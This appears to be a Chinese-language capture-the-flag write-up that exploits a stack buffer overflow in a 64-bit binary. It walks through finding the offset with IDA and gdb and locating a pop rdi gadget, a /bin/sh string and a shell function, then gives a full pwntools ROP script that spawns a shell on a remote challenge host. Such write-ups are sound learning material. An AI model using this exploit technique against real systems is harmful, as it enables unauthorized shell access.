先检查下,发现是64位的程序

IDA分析程序

这里很明显read函数存在溢出

然后可以看到后面函数Shell

同时也可以找到/bin/sh字符串
这里我们可以通过IDA查找


攻击思路如下:
填充垃圾数据
pop_rdi_ret将/bin/sh传递到rdi中
执行Shell函数
获得shell
gdb调试程序

将cyclic的字符输入到程序中,然后我们可以通过
x rbp
或者
info registers rbp
可以看到堆底里面的内容

通过计算可以看到距离rbp的距离为128(十进制)


128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的

因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节
除了上面的方法找Shell函数地址、/bin/sh字符地址
还可以通过objdump查找shell函数地址


通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3

我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060


bin/sh的地址为0x601060
pop_rdi_ret的地址为0x4007e3
Shell函数的地址0x4006b6
payload如下
python
from pwn import *
io = remote('1.95.36.136',2065)
system_addr = 0x4006b6
sh_addr = 0x601060
pop_rdi = 0x4007e3
padding = 0x80+0x8
payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)
io.sendline(payload)
io.interactive()
